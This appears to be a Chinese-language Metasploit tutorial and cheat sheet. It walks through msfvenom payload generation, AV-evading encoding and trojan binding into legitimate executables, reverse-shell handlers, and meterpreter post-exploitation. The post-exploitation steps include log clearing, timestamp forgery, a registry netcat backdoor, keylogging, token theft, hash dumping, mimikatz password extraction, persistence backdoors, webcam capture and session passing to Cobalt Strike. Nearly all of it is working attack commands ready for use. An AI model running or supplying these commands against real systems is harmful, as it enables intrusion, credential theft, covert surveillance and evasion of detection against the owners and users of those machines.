Metasploit使用的数据库是posetpresql,在msf5之前启动的话需要安装数据库格式化数据库,设置用户和密码去进行连接,而在msf5之后不需要在这样操作,只需在kali的命令行中使用msfdb init就可以初始化并开启msf的数据库,然后在输入msfconsole就可以启动msf,进入之后我们可以使用db_status来进行查看连接数据库的状态。除此在外我们还可以使用kage实现界面话。
在kali当中默认安装,文件路径是在/usr/share/metasploit-framework/中,在该目录下有以下几个比较重要的文件夹:
data:目录当中是msf当中一些可编辑的文件,如字典
documentation:文档目录是对工具的介绍
external:源代码和第三方库
lib:(静态链接库)目录:里边是msf的代码
modules:模块目录装,有msf当中的exp,payload等内容
plugins:可加载的插件
scripts:meterpreter和其它脚本
tools:各种命令行工具
其中modules模块包含有msf的核心文件
auxiliary #漏洞辅助模块一般是没有攻击载荷的漏洞攻击
encoders #码器模块
evasion #简单的反杀模块
exploits #渗透攻击模块
nops #空指令模块
payloads #漏洞负载模块
show 模块名:进行罗列模块
search 模块关键字:搜索关键字(一般都是我们查找某个漏洞的exp时会使用search进行搜索关键词)
出现的开头为Auxiliary的模块为扫描模块,exploit为执行任务模块
use 模块名:使用该模块
back:返回上一级
info:在使用模块之后可以使用info来查看模块信息,查看的话主要查看这一部分
show options(显示的是info当中的一部分):查看模块配置 去设置回显当中required的配置
set:使用set命令来设置required当中需要配置的信息
设置之后我们在使用show options之后我们可以看到rhosts已经变成了我们设置后的值
exploit:来执行
jobs:查看后台工作
kill 工作ID号:杀死进程
在下方目录下是扫描脚本
/usr/share/metasploit-framework/modules/auxiliary/scanner/
use auxiliary/scanner/discovery/arp_sweep 利用arp协议进行发现主机
use auxiliary/scanner/discovery/udp_sweep 可以回显我们存活主机的计算机名,用户
use auxiliary/scanner/portscan/tcp 端口扫描模块
use auxiliary/scanner/http/dir_scanner
use auxiliary/scanner/http/jboss_vulnscan
use auxiliary/scanner/mssql/mssql_login
use auxiliary/scanner/mysql/mysql_version
use auxiliary/scanner/oracle/oracle_login
msfvenom是msfpayload和msfencode的组合,它用于生成有效载荷(payload)并进行编码
在kali当中直接输入msfvenom就可以直接运行msfvenom
参考:https://www.cyberpratibha.com/blog/msfvenom-replacement-of-msfpayload-and-msfencode-full-guide/
MsfVenom - 是msf独立有效载荷生成器,也是msfpayload和msfencode的替代品
用法: msfvenom [options] <var=val>
示例: msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
常用可用参数:
-l, --list 列出所有模块,可指定payload,encoders, nops, platforms, archs, encrypt, formats 示例:msfvenom -l payload
-p, --payload 指定payload
--list-options 查看指定的payload支持什么平台、有哪些选项可以设置
msfvenom -p windows/meterpreter/reverse_tcp --list-options
-f, --format 指定输出payload的格式,示例 -f exe
-e, --encoder 指定要使用的编码器,示例:-e sx86/shikata_ga_nai
-o, --out 将生成的有效载荷保存到指定文件中
-b, --bad-chars 要避免的坏字符 示例:-b '\x00\xff'
-n, --nopsled 将指定大小的nopled添加到有效载荷上
-s, --space 指定产生有效载荷的最大值,就是生成的文件大小
-i, --iterations 指定对有效载荷的编码次数,一般不要超过20
-c, --add-code 指定一个附加的win32 shellcode文件
-a, <x64/x86> 指定架构,一般需要先使用-platform检查msf中的可用平台
-x 指定一个文件,将pauload添加进去【用于木马捆绑】,示例:-x puttyel.exe
-k 该选项可以保留模版原来的功能,将payload作为一个新的线程来注入,但不能保证可以用在所有可执行程序上
-platform 查看msf中的可用平台 示例:msfvenom -l platforms
-h, --help 帮助信息
payload有两种类型:bind类型(正向)和reverse类型(反向)
bind类型:即正向连接,一般使用在目标机器处于内网当中,不能直接连通外网,也不能通过其他机器进行连接,此时就需要目标机器通过正向的payload打开一个端口,让攻击者去连接目标机器打开的这个端口,从而建立通信。
reverse类型:即反向连接,指的是攻击者的机器上打开了一个端口,在目标机器上运行反向payload来连接攻击机的端口,从而用于连接,常用于边线服务器的上线。【大多数情况下用tcp协议的payload】
windows下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.132【kali地址】 LPORT=4444 -f exe >1.exe
linux下:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.10.132 LPORT=4444 -f elf>1.elf
在生成payload之后我们在msf当中使用时一般注重一下的步骤:
use exploit/multi/handler 【使用监听模块】
set payload windows/x64/meterpreter_reverse_tcp 【设置的payload必须和msfvenom当中生的payload是同一个模块】
set lhost 192.168.10.132【因为使用的是reverse模板,这里设置攻击机的ip,用于监听shell连接】
set lport 4444【因为使用的是reverse模板,这里设置攻击机的port,用于监听shell连接】
exploit -j 【-j为后台运行】
把msfvenom生成的payload上传至目标机器并运行,然后我们就可以获取一个shell,如果是后台运行,通过sessions -l 可以查看后台的shell
msfvenom --list encoders:查看msfvenom自带的编码器,可以看到x86/shikata_ga_nai编码器是评级为x86里面唯一excellent的,所以也是编码中使用最多的
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai -i 15 - f exe -o mazi.exe
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=172.16.1.13 LPORT=4444 -e x86/shikata_ga_nai -x puttyel.exe -i 15 - f exe -o puttyel_master.exe
background:在进入到Meterprete中之后我们可以使用此命令返回到msf当中
sessions -l:查看所有会话信息
sessions -i 会话ID号:与指定的会话进行交互
quit / exit:关闭当前会话
idletime:查看目标服务器空闲时间
shell:进入对方的windows终端行,可以执行一些windows下的命令,如果出现乱码我们可以使用chcp 编码代表字母 命令来改变编码方式
65001 UTF-8代码页
950繁体中文
936简体中文默认的GBK
437 MS-DOS美国英语
timestomp:伪造时间信息
timestomp -v C:/phpStudy/manual.chm #查看时间戳
timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt
getsystem:尝试提权方式
clearev:清除windows中的应用程序日志、系统日志、安全日志,需要system权限,清理后会有一个日志清除记录
search: 查找执行文件
search -f 1.txt
search -f *.exe
pwd | getwd:查看目标当前目录的位置
ls:列出目标当前目录下的文件
cd:切换目标机的执行目录
rm:删除目标机指定文件
mkdir:在目标机创建目录(只能在当前目录下创建文件夹)
rmdir:删除目标机指定目录(只能删除当前目录下的文件夹)
getlwd | lpwd:查看本地(攻击机)的当前目录(msf的目录)
lcd:切换本地(攻击机)的执行目录
lls:列出本地(攻击机)当前目录下的文件
download 文件名:将目标文件下载到本地
upload 文件名:上传本地目录到目标主机
ipconfig / ifconfig:查看网络接口信息
netstat -ano:查看端口连接信息
route:显示路由信息
netstat:查看网络连接情况
arp:查看arp信息
getproxy:查看代理信息
portfwd 端口转发
portfwd add -l 6666 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地6666端口
rdesktop 127.0.0.1:6666 #kali远程桌面使用6666端口
run autoroute 路由相关
run autoroute -s 10.0.0.0/24 添加路由
run autoroute -s 10.0.0.0 -n 255.0.0.0 -s 参数为网关 -n 参数为只掩码
run autoroute -p 查看路由
添加路由实战案例:
meterpreter > run autoroute -s 192.168.105.0 -n 255.255.255.0 #目标机的网关和掩码
msf6 > use auxiliary/server/socks_proxy #msf6使用sock5代理
msf6 auxiliary(server/socks_proxy) > set srvhost 127.0.0.1 #设置代理地址,一般设置攻击机本机
msf6 auxiliary(server/socks_proxy) > set srvport 60010 #设置一个可用的端口
#设置proxychains使用即可
vim /etc/proxychains.conf
#将最后一行改为自己添加的路由信息如
socks5 127.0.0.1 60010
内网渗透
run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24 #扫描整个段存活主机
run post/windows/gather/enum_computers:枚举我们域内的主机
execute :在目标执行命令的功能,可使用execute -h来获取参数帮助
execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互 -m参数是在内存中运行
ps:列出目标进程
getuid:查看当前用户的身份
getprivs:查看当前用户的权限
getpid:查看meterpreter shell进程pid信息
migrate PID:进程迁移(隐蔽我们执行的exe进程或者是获取其他的一些权限,这里需要meterpreter shell的权限要高于等于要迁移的进程权限)
getpid #获取当前进程的pid
ps 查看系统中运行进程
migrate #将meterpreter会话迁移到指定的pid进行中
sysinfo:查看目标信息
kill:杀死目标进程
shutdown:关机
reboot:重启
如下为常用且高效的信息收集模块
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
解释:
msf > run post/windows/gather/checkvm #是否虚拟机
msf > run post/linux/gather/checkvm #是否虚拟机
msf > run post/windows/gather/forensics/enum_drives #查看分区
msf > run post/windows/gather/enum_applications #获取安装软件信息
msf > run post/windows/gather/dumplinks #获取最近的文件操作
msf > run post/windows/gather/enum_ie #获取IE缓存
msf > run post/windows/gather/enum_chrome #获取Chrome缓存
msf > run post/windows/gather/enum_patches #补丁信息
msf > run post/windows/gather/enum_domain #查找域控
getsystem
1、getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
2、getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
3、Windows服务已启动,导致与命名管道建立连接。
4、该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。
bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
示例:
msf > use exploit/windows/local/bypassuac
msf > set SESSION 5 #选择当前会话
msf > run
大部分情况下直接使用getsystem
是很难提权的,会提示管道内存问题、令牌问题、RPCSS变体等阻碍提权,但如果利用bypassuac返回新会话后,提权就会相对容易些
可先利用enum_patches
模块收集补丁信息,然后查找可用的exploits进行提权,需要退出当前连接
meterpreter > run post/windows/gather/enum_patches #查看补丁信息
msf > use exploit/windows/.... #利用未打补丁的模块即可
msf > set SESSION 5
msf > exploit
enumdesktops #查看可用的桌面
getdesktop #获取当前meterpreter 关联的桌面
set_desktop #设置meterpreter关联的桌面 -h查看帮助
screenshot #截屏
use espia #使用espia模块截屏 然后输入screengrab
run vnc #使用vnc远程桌面连接,这方法有点问题,上传了exe但是启动不了
getgui :该指令容易添加失败(有火绒时直接失败)
run getgui -e #开启远程桌面
run getgui -u anan -p 123@a.com #添加用户
run getgui -f 63389 –e #3389端口转发到63389
enable_edp :该指令在有火绒的情况下能够正常添加用户
run post/windows/manage/enable_rdp #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=test PASSWORD=123@a.com #添加用户,需要注意密码复杂度
run post/windows/manage/enable_rdp FORWARD=true LPORT=63389 #将3389端口转发到63389
keyscan_start #开始键盘记录
keyscan_dump #导出记录数据
keyscan_stop #结束键盘记录
注意:导出记录的话要在keyscan_stop命令之前,不然结束了就无法导出了
注册表参数说明如下
meterpreter > reg -h
Usage: reg [command] [options]
Interact with the target machine's registry.
OPTIONS:
-d <opt> The data to store in the registry value.#注册表中值的数据
-h Help menu.
-k <opt> The registry key path (E.g. HKLM\Software\Foo).#注册表键路径
-r <opt> The remote machine name to connect to (with current process credentials#要连接的远程计算机名称(使用当前进程凭据)
-t <opt> The registry value type (E.g. REG_SZ).#注册表值类型
-v <opt> The registry value name (E.g. Stuff).#注册表键名称
-w Set KEY_WOW64 flag, valid values [32|64].#设置32位注册列表还是64位
COMMANDS:
enumkey Enumerate the supplied registry key [-k <key>]#枚举可获得的键
createkey Create the supplied registry key [-k <key>]#创建提供的注册表项
deletekey Delete the supplied registry key [-k <key>]#删除提供的注册表项
queryclass Queries the class of the supplied key [-k <key>]#查询键值数据
setval Set a registry value [-k <key> -v <val> -d <data>]#设置键值
deleteval Delete the supplied registry value [-k <key> -v <val>]#删除提供的注册表值
queryval Queries the data contents of a value [-k <key> -v <val>]#查询值的数据内容
注册表设置nc后门
upload /root/nc64.exe C://Users//anan//Desktop #上传nc,前面的是你要上传文件的位置
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C://Users//anan//Desktop//nc.exe -Ldp 60011 -e cmd.exe' #设置键值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看键值
nc -v 192.168.105.131 60011 #攻击者连接nc后门
incognito假冒令牌
use incognito #进入incognito模式
help incognito #查看帮助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token,或者用下面的
#impersonate_token NT\ AUTHORITY\\SYSTEM #不加单引号 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token执行或者直接shell
rev2self #返回原始token
steal_token窃取令牌
steal_token <pid值> #从指定进程中窃取token 先ps
drop_token #删除窃取的token
这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限
meterpreter> run killav *//这个脚本要小心使用,可能导致目标机器蓝屏死机*
hashdump
hashdump 模块可以从SAM数据库中导出本地用户账号,该命令的使用需要系统权限
run hashdump
smart_hashdump
smart_hashdump需要系统权限,该功能更强大,可以导出域内所有用户的hash!!
smart_hashdump还可以配合PSExec模块进行哈希攻击
run windows/gather/smart_hashdump
抓取自动登录用户的密码
run windows/gather/credentials/windows_autologin
kiwi
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
meterpreter > load mimikatz #如果目标是64位的系统,会报如下错误
.....
[!] Loaded x86 Kiwi on an x64 architecture
.....
如果遇到该报错,则迁移进程到一个64位进程上即可
ps
migrate <64位进程pid>
该功能非常强大,kiwi_cmd命令是包含了mimikatz
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM
lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
获取明文密码
kiwi_cmd sekurlsa::logonpasswords
metasploit自带的后门有两种方式启动的,一种是通过启动项启动persistence,一种是通过服务启动metsvc,另外还可以通过persistence_exe自定义后门文件。
persistence启动项后门
OPTIONS:
-A Automatically start a matching exploit/multi/handler to connect to the agent
-h 帮助信息
-i 每次尝试连接之间的间隔(以秒为单位)
-L Location in target host to write payload to, if none %TEMP% will be used.
-p 设置Metasploit的监听端口
-P 设置payload,默认值为windows/MeterMeter/reverse_tcp
-r 设置metasploit的ip(攻击者的ip)
-S 在作为服务启动时自动启动代理(具有system权限)
-T Alternate executable template to use
-U 设置为用户登录时自动启动
-X 设置为系统启动时自动启动
run persistence –h
run persistence -X -i 5 -p 60012 -r 192.168.0.11
persistence启动项后门的缺点是容易被杀毒软件查杀!建议进行如下操作
在C:\Users\anan\AppData\Local\Temp\目录下,上传一个vbs脚本在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\加入开机启动项
metsvc服务后门
-A 自动安装后门
-h 帮助
-r 卸载现有的后门(需要手动删除木马文件)
会自动在C:\Users\anan\AppData\Local\Temp…生成三个文件,并把meterpreter自动放在服务自启中
攻击机使用正向连接,并把连接端口设置为31337,进行连接即可
set payload windows/metsvc_bind_tcp
run webcam:开启一个摄像头
uictl [enable/disable] [keyboard/mouse/all] #开启或禁止键盘/鼠标
uictl disable mouse #禁用鼠标
uictl disable keyboard #禁用键盘
uictl enable mouse #开启鼠标
uictl enable keyboard #开启键盘
webcam_list #查看摄像头
webcam_snap #通过摄像头拍照
webcam_stream #通过摄像头开启视频
是一个msf的图形 界面话工具但是非常的卡顿不建议使用,在命令行直接使用armitage可以直接使用.
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost xxxxxx (本机ip)
set lport xxxx
exploit
添加一个监听器,选择Foreign HTTP,设置ip为msf的监听ip,端口设置为msf监听的端口,起一个名称,如cs->msf
然后命令行(beacon)执行:spawn cs->msf #cs->msf为监听器名称
添加一个监听器,选择Beacon HTTP,然后设置相应的监听ip和监听端口即可
sessions -l #查看当前存在的session会话
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lhost 192.168.10.13 # 设置cs监听的地址
set lport 60020 # 设置cs监听的端口
set session 1 # 指定要派生的会话
exploit #运行后,cs即可看到上线
原创不易,请勿在未授权下随意转发!